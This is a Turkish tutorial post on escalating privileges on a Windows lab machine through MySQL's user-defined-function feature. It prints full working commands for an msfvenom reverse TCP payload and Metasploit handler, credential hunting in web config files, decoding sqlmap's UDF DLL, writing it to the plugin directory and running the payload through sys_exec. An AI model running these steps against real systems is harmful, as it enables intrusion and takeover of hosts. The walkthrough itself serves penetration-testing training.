01 Ocak 2017

MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı

Aşağıdaki örneğimiz bir Windows bilgisayar örneği üzerinde gerçekleştirilmiştir. Aynı süreç Linux için de geçerlidir, ancak kullanılacak DDL (yani shared object – SO dosyası) farklı olacaktır.
Diyelim ki hedef bilgisayarda düşük haklara sahip bir kullanıcı hakları ile shell aldık ve aşağıdaki komutla oluşturduğumuz reverse TCP payload’unu hedef bilgisayara aktardık ve çalıştırdık.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.152.133 lport=4444 -f exe -o payload.exe


Reverse TCP payload’umuzu çalıştırmadan önce bir meterpreter handler’ı başlatalım:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.152.133
set lport 4444
set ExitOnSession false
exploit -j

(Buradaki “ExitOnSession false” seçeneği listener’ın sürekli açık kalmasına ve “-j” opsiyonu da listener’ın arka planda çalışmasına imkan tanıyacaktır. Böylece yüksek yetkili bir process’e reverse tcp bağlantısı kurdurduğumuzda yeni bir port ve handler kullanmak zorunda kalmayacağız, ve dolayısıyla aynı payload.exe dosyasını da kullanabiliriz. Bununla birlikte “background” komutuyla mevcut meterpreter oturumumuzu arka plana atabilir ve aynı parametrelerle yeni bir meterpreter oturumu da başlatabilir ve yine aynı payload’umuzu kullanabiliriz. Sadece birkaç adım daha fazla atmış oluruz.)


Karşı tarafta payload’umuzu çalıştırarak meterpreter oturumumuzu başlatalım:

sessions –l (bu komut ile mevcut oturumları listeleyebiliriz)
sessions –i 1 (bu komut ile birinci oturum ile interaktif hale gelebiliriz)


İlk yapmamız gereken şeyler hangi kullanıcı ile bağlı olduğumuz ve grup üyeliklerimizin anlaşılması. Aslında bu işlemleri ve daha pek çok enumeration işlemini yapmak için elimizin altında Windows ve Linux sistemlere yönelik olarak hazırlanmış ve mümkünse kendi hazırladığınız scriptler ile yapmamız gerekir. Elbette bu script sonuçlarına göre yine manuel komutlar çalıştırmamız gerekecektir. Bu örneğe özel olarak sadece ilgili komutları çalıştıracak ve sonuçlarını inceleyeceğiz:

shell (bu Meterpreter komutu ile shell etkileşimine geçebiliriz)


whoami


whoami /groups


Grup isimlerini biraz daha okunabilir kılmak için aşağıdaki komutu da kullanabiliriz (for komutu içinde gelen parametre adlarındaki % işareti script içinde kullanıldığında %% olarak belirtilmelidir)
FOR /F "tokens=1,2" %A IN ('whoami /groups') DO @echo %A %B


Açıkça görünüyorki aldığımız shell’in kullanıcısı olan basitkullanici gerçekten basit bir kullanıcı.
Daha sonra incelememiz gereken konulardan bir tanesi de hedef sistem işletim sistemi ile ilgili genel bilgilerdir.

systeminfo


Bu çıktıda hedef sistemin 64 bit’lik Windows 7 işletim sistemine sahip olduğunu görebiliyoruz.
Daha önce de belirttiğimiz gibi normalde kullanacağımız bir enumeration script’i çok miktarda veriyi bize verecek ve bizim de bu verilerin içinde işimize yarayacak olan bilgileri tespit etmemiz gerekecekti. Biz biraz doğrudan hedefe yürüyecek ve hemen hemen sadece gerekli olan komutları çalıştıracağız.

tasklist /v


for /f "tokens=1,8" %A in ('tasklist /v') do @echo %A %B


tasklist /svc | findstr /i mysql


mysqld.exe prosesinin bağlı olduğu servis adının “wampmysqld64” olduğunu görüyoruz.

wmic service get name,displayname,startname,pathname,startmode | findstr /i wamp


Servisimiz LocalSystem kullanıcı hakları ile çalışıyor. Şimdi sıra mysql veritabanına bağlanmak için root kullanıcı bilgilerini bulmakta.
Bu adım biraz zaman alacak, ancak normalde enumeration safhasında zaten bu adımı gerçekleştirmemiz lazım. Şimdi sistem üzerindeki tüm dosya isimlerini bir dosyaya yazacağız ve daha sonra bu dosya isimleri arasında ilginç olabileceklerin adlarını arayacağız. Yine gözlemleyeceğimiz dizin adları sayesinde daha daraltılmış dizinler altındaki dosyalar içinde ilginç bilgiler (root kelimesi gibi) arayacağız.

dir C:\* /a/s/b > dosyalar.txt


Arayacağımız şey bir mysql bağlantı bilgileri ve ümit ediyoruz ki bu bilgiler “root” kullanıcısına ait olsun. Bu bilgilerin bir web uygulamasında include edilen bir konfigürasyon dosyası içinde olmasını umabiliriz. İlk aşamada Apache kök dizinini tespit etmek için aşağıdaki komutlar dosya isimleri arasında “www” kelimesini arayacağız:

findstr /i www dosyalar.txt


Görülüyorki sistem üzerinde çalışan Apache sunucusunun kök dizini C:\wamp64\www. Bu dizin altındaki dosyalar içinde “root” kelimesini arayabiliriz.

findstr /sip root C:\wamp64\www\*.*
/s hedef dizin ve altındaki tüm dizinlerde arama yapmak için kullanılır
/i ignore case anlamına gelir
/p sadece yazılabilir karakterler içeren dosyalar içinde arama yapmamızı sağlar



Config.php dosyası ile başlayabiliriz. Bu dosyanın boyutuna göre sistem üzerinde veya download ederek inceleme yapabiliriz. Önce sistem üzerinde incelemeyi deneyelim:

type C:\wamp64\www\config.php


Mysql sunucusu ile etkileşime geçebilmek için sunucu üzerinde bulunan mysql.exe istemci uygulamalarını arayalım. Bunun için daha önce oluşturduğumuz dosyalar.txt dosyasından faydalanacağız.

findstr /i mysql\.exe$ dosyalar.txt

Findstr komutunun aldığı arama parametresi öntanımlı olarak bir regex ifadesi olarak yorumlanır. “\” işareti ile aradığımız kelimenin bu noktasında “.” olması gerektiğini belirtiyoruz. “.” karakterinin regex için özel bir anlamı var ve herhangi bir karakter anlamına gelir. Aslına bakarsanız “.” karakterini escape etmesek de muhtemelen aradığımızı rahatlıkla buluruz, ancak regex konusunun iyi anlaşılması için bahsedilmesi gerekiyor. Ayrıca arama kelimemizin sonuna eklediğimiz “$” karakteri regex için özel anlamı olan bir karakter ve bu kelimenin geçtiği satırın sonunda olması gerektiği anlamına geliyor. Yine bu karakter olmasa da muhtemelen aradığımızı kolayca bulurduk, ancak bu tür ifadeler regex aramalarının etkinliğini artırıyor, çünkü kullanacağı arama algoritması sadece satır sonlarını arayacağından daha verimli hale geliyor.


Şimdi bu dizine geçelim ve mysql.exe istemcimiz ile mysql sunucumuza bağlanalım.

cd C:\wamp64\bin\mysql\mysql5.7.14\bin


Bulduğumuz erişim bilgilerini test etmek ve UDF özelliğini kullanmak üzere DLL’imizi yükleyeceğimiz dizini bulmak için önce bir sql source dosyası oluşturalım (normalde mysql.exe client’ı ile veritabanı ile interaktif etkileşimde de bulunabiliriz, ancak uzak shell aldığımız bazı durumlarda interaktif etkileşim sorunlu olabildiğinden mümkün olduğunca script kullanmakta fayda var)

echo SHOW VARIABLES LIKE 'plugin_dir'; > plugindir.sql
mysql.exe -u root -pbtrisk < plugindir.sql

(Not: -p parametresinden sonra parolayı verdiğimizde –p ile parola arasında herhangi bir boşluk olmamasına dikkat edin)



Komutları Windows’dan Linux’a kopyalarken “-“ işaretleri farklılaşabiliyor. Yukarıda başarılı komut öncesinde olan da bu oldu. Bu yüzden “-“ işaretlerini kopyalanmış komut üzerinde tekrar yazmak zorunda kaldım. Nihayetinde plugin dizinini öğrenmiş olduk. UDF (User Defined Functions) fonksiyonalitesi mysql tarafından bize işletim sistemi üzerinde tüm imkanlardan faydalanabilen herhangi bir fonksiyon yazarak bunu mysql içinde bir fonksiyon gibi kullanma imkanı veren bir fonksiyonalite. Normalde bu imkandan faydalanmak için mysql’in kurallarına uygun bir DLL kodu yazıp mysql içinden kullanmak istediğimiz fonksiyonları Export etmemiz ve tabi kodumuzu derlememiz gerekir. Ancak bir bu işi daha önceden yapmış kişilerin emeğinden faydalanacak ver kod yazma ve derleme zahmetine girmeyeceğiz. Bunun için sqlmap aracı ile gelen dll’lerden (linux için so dosyalarından) faydalanacağız.

locate sqlmap | grep dll


İşletim sisteminin ve wamp versiyonunun 64 bit olduğunu daha önce gördük. Bu nedenle 64 bit’lik DLL’i kullanacağız. Ancak bu DLL’lerle ilgili bir problemimiz var.

file /usr/share/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_


“file” komutu ile dosyamızın ne olduğunu anlamaya çalıştığımızda kod gibi görünmüyor. Bunun nedeni sqlmap’in kullandığı bu ve diğer payload dosyalarını bir tür encoding’e tabi tutması. Bunu net olarak anlatabilmek için açık kaynak kodlu bir proje olan sqlmap’in kodlarını incelememiz lazım. Ancak ben sizi bu zahmetten kurtarmak ve doğrudan orijinal DDL’i nasıl elde edebileceğimizi açıklamak istiyorum. “cloak.py” python script’i encode ve decode işlemini yapan script:


DLL’i decode etmek için aşağıdaki komutu kullanmalıyız:

/usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o udf.dll
RESİM-25

Decode ettikten sonra DLL’imiz orijinal haline döndü. Bu DLL içinde bulunan ve export edilmiş olan “sys_exec” fonksiyonu sayesinde mysql process’inin sahip olduğu haklarla herhangi bir işletim sistemi komutunu çalıştırabileceğiz. Ancak önce yeni oluşturduğumuz dll’i (udf.dll) mysql sunucusunun plugin dizinine atmamız gerekiyor. Bunun için meterpreter’in upload imkanından faydalanacağız.

upload udf.dll c:\\wamp64\\bin\\mysql\\mysql5.7.14\\lib\\plugin\\udf.dll


Şimdi sıra mysql sunucusuna yeni dll’imizin içinde bulunan sys_exec fonksiyonunu tanıtmada ve mysql sunucusunun hakları ile yeni bir reverse tcp oturumu başlatmada. Bunun için yine bir sql script hazırlayacağız, ama aldığınız shell’de mysql ile interaktif iletişim konusunda bir sıkıntı yaşamıyorsanız bu işlemleri tek tek de yapabilirsiniz:

cd C:\wamp64\bin\mysql\mysql5.7.14\bin echo USE mysql; > udf.sql
echo CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.dll'; >> udf.sql
echo SELECT sys_exec("START /B C:/Users/basitkullanici/payload.exe"); >> udf.sql
mysql.exe -u root -pbtrisk < udf.sql

(Not: “START /B” komutu Windows’da bir komutu background’da çalıştırmak için kullanılmıştır. Aksi takdirde fonksiyon geri dönmemekte, script başarıya ulaşamamaktadır).


exit background sessions –l



Eğer upload sırasında plugin dizinine yazma hakkınız olmadığını görürseniz, bu yazma işlemini mysql’e yaptırabilirsiniz (mysql process’inin daha yüksek haklara sahip olduğunu varsayıyoruz). Bunun için bir tablo oluşturup load_file ile dosyamızı yükleyebilir, daha sonra dumpfile into ile istediğimiz dizine bu dosyayı yazabiliriz. Örneğin dosyamızı bağlı bulunduğumuz kullanıcının home dizini olan C:\Users\basitkullanici\ dizinine meterpreter ile upload edersek:

USE mysql;
CREATE TABLE btr(line blob);
INSERT INTO btr values(load_file('C://Users//basitkullanici//udf.dll'));
SELECT * FROM mysql.btr INTO DUMPFILE 'c://wamp64//bin//mysql//mysql5.7.14//lib//plugin//udf.dll';

Bu aşamadan sonra halen UDF fonksiyonalitesine ihtiyacımız olursa (normalde meterpreter oturumumuz varken olmaması lazım) yeni bir script oluşturmamız gerekecek, çünkü ihtiyacımız olan fonksiyon zaten tanımlı olacak:

cd C:\wamp64\bin\mysql\mysql5.7.14\bin echo USE mysql; > udf.sql
echo SELECT sys_exec("START /B C:/Users/basitkullanici/payload.exe"); >> udf.sql
mysql.exe -u root -pbtrisk < udf.sql